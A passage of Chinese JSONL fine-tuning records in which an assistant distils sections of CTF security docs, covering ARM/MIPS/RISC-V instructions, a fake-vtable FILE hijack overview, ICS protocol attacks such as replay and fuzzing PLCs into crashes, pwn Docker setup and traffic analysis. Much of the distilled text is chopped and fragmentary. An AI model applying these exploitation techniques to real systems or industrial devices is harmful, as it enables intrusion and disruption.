CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 551, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "寄存器使用一览", "heading_path": ["Risc-V", "0x04 调用规约", "寄存器使用一览"], "original_id": "docs-f81b3f983a4f68df1870", "original_line": 124, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "5587822e07af0c714c648f60", "subcategory": "assembly/risc-v/readme.md", "terms": ["栈", "assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc88332c5b37fefced28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/arm/readme.md` 中的章节「3. BX带状态切换的跳转指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/arm/readme.md`\n标题：ARM\n章节：ARM > 2. 指令集 > 2.跳转指令 > 3. BX带状态切换的跳转指令\n路径分类：assembly / assembly/arm/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“3. BX带状态切换的跳转指令”展开。\n- `` 结构 BX{cond}Rm 当执行BX指令时，如果条件满足，会判断Rm寄存器的位[0]是否为1，如果是1则会在跳转时自动将CPSR寄存器的T标志位置为1,并将目标位置处的指令解析为Thumb指令，相反，若Rm寄存器的位[0]为0，则将CPSR寄存器的T标志位复位，同时将目标位置的指令解析为arm指令。\n- ` 如下: ` ADR R0, thumbcode + 1 BX R0 @跳转到thumbcode。\n- 并且处理器运行为thumb模式 thumbcode: .code 16 ``\n\n关键术语：\n- assembly\n- arm\n- readme.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `结构 BX{cond}Rm`\n- plain: 4 行，首行 `ADR R0, thumbcode + 1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "3. BX带状态切换的跳转指令", "heading_path": ["ARM", "2. 指令集", "2.跳转指令", "3. BX带状态切换的跳转指令"], "original_id": "docs-fc0cd944d744556677b8", "original_line": 6, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "source_root": "docs", "source_sha256": "39d09e2beaa059e00d400c0eee7a6c5ca559941eeb0de8cd4845b772bdceadaf", "split": "train", "split_group_key": "b376e3f1008e57e3daf036d6", "subcategory": "assembly/arm/readme.md", "terms": ["assembly", "arm", "readme.md"], "title": "ARM"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dd562077ad4ee1c444eb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：伪造vtable劫持程序流程 > 简介\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 前面我们介绍了Linux中文件流的特性（FILE），我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理。\n- 因此vtable劫持分为两种，一种是直接改写vtable中的函数指针，通过任意地址写就可以实现。\n- 尤其是_IO_FILE_plus结构中存在vtable，一些函数会取出vtable中的指针进行调用。\n- 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚，通过把vtable指向我们控制的内存，并在其中布置函数指针来实现。\n- 另一种是覆盖vtable的指针指向我们控制的内存，然后在其中布置函数指针。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 288, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "简介", "heading_path": ["伪造vtable劫持程序流程", "简介"], "original_id": "docs-e9a93d44cd8952a9d68a", "original_line": 1200, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "8886e1dfe3e86afc2e818773", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-de54952e5e975d1c846c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/mips/readme.md`\n标题：MIPS\n章节：MIPS > 0x2 指令 Instruction\n路径分类：assembly / assembly/mips/readme.md\n分块：4/4\n\n核心知识点：\n- 本节主题围绕“0x2 指令 Instruction”展开。\n- | | Syntax: | sw $t, offset($s) | | Encoding: | 1010 11ss ssst tttt iiii iiii iiii iiii | SYSCALL -- System call | Description: | Generates a software interrupt. | | ------------ | ----------------------------------------- | | Operation: | advance_pc (4);\n- | | Syntax: | xori $t, $s, imm | | Encoding: | 0011 10ss ssst tttt iiii iiii iiii iiii |\n- UBU -- Subtract unsigned | Description: | Subtracts two registers and stores the result in a register | | ------------ | ----------------------------------------------------------- | | Operation: | $d = $s - $t;\n- | | Syntax: | subu $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 0011 | SW -- Store word | Description: | The contents of $t is stored at the specified address. | | ------------ | ------------------------------------------------------ | | Op...\n- | | Syntax: | syscall | | Encoding: | 0000 00-- ---- ---- ---- ---- --00 1100 | XOR -- Bitwise exclusive or | Description: | Exclusive ors two registers and stores the result in a register | | ------------ | -------------------------------------------------...\n\n关键术语：\n- assembly\n- mips\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 1595, "chunk_count": 4, "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "heading": "0x2 指令 Instruction", "heading_path": ["MIPS", "0x2 指令 Instruction"], "original_id": "docs-589ebf199311ee2bafee", "original_line": 110, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "source_root": "docs", "source_sha256": "3dd6ae5d2f440b8e4d60e6eb8581577f322de326fc0478d8a8ad1a466879f9a7", "split": "train", "split_group_key": "f24507ac33f6ec4f9e12c09f", "subcategory": "assembly/mips/readme.md", "terms": ["assembly", "mips", "readme.md"], "title": "MIPS"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-def2d00b2fa62536775f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「工控协议（Protocol）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 工控协议（Protocol）\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“工控协议（Protocol）”展开。\n- 题目特点介绍： - 工控协议针对工控场景设计，具有简单、高效、低延时等特点，所以针对此类的攻击完全可以考虑采用重放、命令注入等简单攻击手段。\n- 工控协议可能导致目标 PLC、DCS、RTU 等设备出现宕机、不可重启等问题，采用基于 Fuzz 的方法可以快速高效发现 PLC 宕机类漏洞。\n- 工控协议不仅仅采用公开协议、还包括众多的私有协议，这部分协议具体细节需要逆向或者采集数据来实现数据功能的还原。\n- 工控协议中可能有众多针对 PLC 等设备的操作，用户需要区分哪些是合法请求、哪些是异常请求，这需要经验，需要研究推断当前流量的使用逻辑。\n- 这个场景很适合机器学习的条件，这可以考虑是个探索的方向。\n\n关键术语：\n- 漏洞利用\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 410, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "工控协议（Protocol）", "heading_path": ["ICS_CTF 竞赛", "工控协议（Protocol）"], "original_id": "docs-4303a7cd8208b53aa8df", "original_line": 508, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "85c1c02093fa4a540bcba728", "subcategory": "ics/ctfs.md", "terms": ["漏洞利用", "ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e16dab3ac3e6719c907e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「For X11」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 将 Docker 容器接入本地图形界面 > For X11\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“For X11”展开。\n- 对于使用 X11 图形服务的，在创建容器时我们则需要附加如下参数： ``shell $ docker run \\ -d \\ -p \"25000:22\" \\ --name=pwn24 \\ -v ~/Desktop/CTF:/CTF \\ -v /tmp/.X11-unix:/tmp/.X11-unix \\ -e DISPLAY=$DISPLAY \\ pwnenv_ubuntu24 ` 之后在运行 gdb.attach() 之前运行如下 python 语句之一进行配置即可，请根据自己所使用的桌面环境进行选择。\n- `python context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE context.terminal = ['gnome-terminal', '-e', 'sh', '-c'] # for Gnome `` > 参考 Running pwnlib gdb (pwntools) feature inside Docker 。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 8 行，首行 `$ docker run \\`\n- python: 2 行，首行 `context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 537, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "For X11", "heading_path": ["pwn-related tools", "将 Docker 容器接入本地图形界面", "For X11"], "original_id": "docs-c21ea04be5d643cf5a13", "original_line": 847, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "7a8bb194558fb274b5e85b86", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md", "code:shell", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e1933bf337f35517d1a2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/fix.md` 中的章节「Interface Description Block(接口描述)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/fix.md`\n标题：PCAP 文件修复\n章节：PCAP 文件修复 > 常见块 > Interface Description Block(接口描述)\n路径分类：misc / misc/traffic/fix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Interface Description Block(接口描述)”展开。\n- ``shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LinkType | Reserved | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SnapLen(每个数据包最大字节数)...\n\n关键术语：\n- misc\n- traffic\n- fix.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 11 行，首行 `0 1 2 3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 451, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Interface Description Block(接口描述)", "heading_path": ["PCAP 文件修复", "常见块", "Interface Description Block(接口描述)"], "original_id": "docs-d17332d98ab379e7ec64", "original_line": 598, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "source_root": "docs", "source_sha256": "7738c6ca7a537110aae2b0183bb3420088531e5950042c189fc351bd22f3dc42", "split": "train", "split_group_key": "570723a439cd9457f93219fe", "subcategory": "misc/traffic/fix.md", "terms": ["misc", "traffic", "fix.md", "code:shell"], "title": "PCAP 文件修复"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e60c89341bfa5984a77a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 工控协议（Protocol） > 题目示例\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目示例”展开。\n- 题目名字：mms.pacp 这是一道关于 MMS 协议分析的题目，当拿到文件时使用 Wireshark 打开文件（部分题目需要使用 tcpdump 打开） [图片: mms;\n- 文件: ./figure/mms_1.png] 可以看到题目中出现了 MMS 字样，这是变电站 IEC61850 标准中的协议，在做题前应该熟悉该协议的层次结构以及功能码（尤其是握手包、读写功能包）。\n- 文件: ./figure/mms_2.png] 可以看到在第 1764 条报文中有 flag.txt，功能码是 fileDirectory，所以猜测会使用 fileopen 来进行打开，对这个功能码的请求报文进行过滤 [图片: mms;\n- 文件: ./figure/mms_3.png] 可以发现在 1764 之后的第 1771、1798、1813、4034 条报文都对 flag.txt 进行了打开操作。\n- 文件: ./figure/mms_4.png] 内容是一张 base64 编码的图片，对其进行解码就可以得到对应的 FLAG 内容。\n\n关键术语：\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 732, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "题目示例", "heading_path": ["ICS_CTF 竞赛", "工控协议（Protocol）", "题目示例"], "original_id": "docs-deb5e1e1bc0c2c22d878", "original_line": 509, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "8b7bbff84856ef1302babfe4", "subcategory": "ics/ctfs.md", "terms": ["ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e70827db842a59e9d31d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（4）存储指令（S 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （4）存储指令（S 型）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（4）存储指令（S 型）”展开。\n- | 指令 | 含义 | 示例 | 说明 | |--------|--------------------|------------------------|----------------------------| | sb | 存储字节 | sb x5, 0(x1) | 仅存 1 字节 | | sh | 存储半字（16 位） | sh x5, 2(x1) | | | sw | 存储字（32 位） | sw x5, 4(x1) | RV32 和 RV64 共用 | | sd | 存储双字（64 位） | sd...\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 342, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（4）存储指令（S 型）", "heading_path": ["Risc-V", "0x03 常见指令", "（4）存储指令（S 型）"], "original_id": "docs-a242e89b5b2545a09a9d", "original_line": 118, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "41c19df612a46d83bf7d9de4", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e94a9f1fd888ccb7026b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「确定数据」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > 自定义协议 > 例题分析 > 确定数据\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定数据”展开。\n- 由前述 tshark 相关介绍，可以通过以下命令提取数据： tshark -r .\\ev3_basic.pklg -T fields -e data -Y \"btrfcomm\"\n- 简单浏览其余各个协议的流量，发现仅 RFCOMM 协议中存在没有被 wireshark 解析的 data 段，而 RFCOMM 正是蓝牙使用的传输层协议)之一。\n- 观察流量，通讯双方为 localhost 和 LegoSystem 。\n- 其中大量标为 PKTLOG 的数据包都是日志，此题中不需关注。\n\n关键术语：\n- misc\n- traffic\n- data.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 376, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "确定数据", "heading_path": ["数据提取", "自定义协议", "例题分析", "确定数据"], "original_id": "docs-def0d4967e62f8914857", "original_line": 593, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "9473acee86ca94526e6df1dd", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ea8d9d985adcf4cad3a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「运行时计算跳转地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/false-disasm.md`\n标题：False Disassembly\n章节：False Disassembly > 运行时计算跳转地址\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“运行时计算跳转地址”展开。\n- ` 程序通过call+pop来获取调用函数当时保存到栈上的返回地址, 其实就是调用函数前的EIP. 然后在函数返回处塞入垃圾数据. 但实际上在函数运行时已经将返回地址修改到了Code处. 因此earth函数返回会跳转到Code处继续运行，而不是Return处继续运行. 来看一个简易的demo ` ;\n- 这种方法, 甚至可以对抗分析控制流的反汇编器. 我们可以看一个示例代码, 更好地理解: `` ;\n- 实际上并没有能够保证100%`准确反汇编的工具, 当反汇编器做到代码模拟执行的时候也许能做到完全正确的汇编. 在现实情况, 这并不是特别大的问题. 因为针对交互性反汇编器. 你是可以指定代码起始的位置. 而且当调试的时候, 也能很好的看明白程序实际跳转的地址. 所以此时我们除开需要静态分析, 也需要动态调试. > Reference: Beginners Guide to Basic Linux Anti Anti Debugging Techniques\n- x instructions or random bytes here x byte(s) earth: ;\n- start of function: get return address ( Return ) 1 byte ;\n\n关键术语：\n- 栈\n- reverse\n- platform\n- linux\n- false-disasm.md\n\n代码/命令片段线索：\n- plain: 15 行，首行 `; ----------------------------------------------------------------------------`\n- plain: 18 行，首行 `; ----------------------------------------------------------------------------`\n- plain: 7 行，首行 `00000000 :`\n- plain: 22 行，首行 `text:08000000 ; Segment permissions: Read/Execute`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2793, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "运行时计算跳转地址", "heading_path": ["False Disassembly", "运行时计算跳转地址"], "original_id": "docs-480c307dd9436f81dd6e", "original_line": 1498, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "source_root": "docs", "source_sha256": "5b8873145e9ecf3b08e6a7243805a4658761f65d3f22af983a422a14df220ee9", "split": "train", "split_group_key": "69b951d15ad7ba48d43d8075", "subcategory": "reverse/platform/linux", "terms": ["栈", "reverse", "platform", "linux", "false-disasm.md"], "title": "False Disassembly"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-eb74fef67ec6fbe98045", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/discover.md` 中的章节「Censys 全网引擎」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/discover.md`\n标题：ICS_CTF 发现\n章节：ICS_CTF 发现 > 工控扫描与发现引擎 > Censys 全网引擎\n路径分类：ics / ics/discover.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Censys 全网引擎”展开。\n- 各类漏洞引擎内容不同，采取配置、部署节点等存在较大的差异，目前针对工控这块的搜索引擎以shodan和ditecting更为专业，但是从针对端口来看，各个引擎宣称的公布检索方式不尽相同。\n- Censys由因特网范围扫描驱动，它使得研究人员能够找到特定的主机，并能够针将设备、网站和证书的配置和部署信息创建到一个总体报告中。\n- Censys是一款搜索引擎，它允许计算机科学家了解组成互联网的设备和网络。\n\n关键术语：\n- 漏洞利用\n- ics\n- discover.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 199, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "Censys 全网引擎", "heading_path": ["ICS_CTF 发现", "工控扫描与发现引擎", "Censys 全网引擎"], "original_id": "docs-bbe5619eb9275751c3e4", "original_line": 513, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "source_root": "docs", "source_sha256": "bcb3d5fac5c985682c3d51007de15d8a868b509c9b7d2a43da2065224760f1aa", "split": "train", "split_group_key": "58468aa39c8eabebbce945bf", "subcategory": "ics/discover.md", "terms": ["漏洞利用", "ics", "discover.md"], "title": "ICS_CTF 发现"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "split": "train", "type": "ctf_lora_sft"}
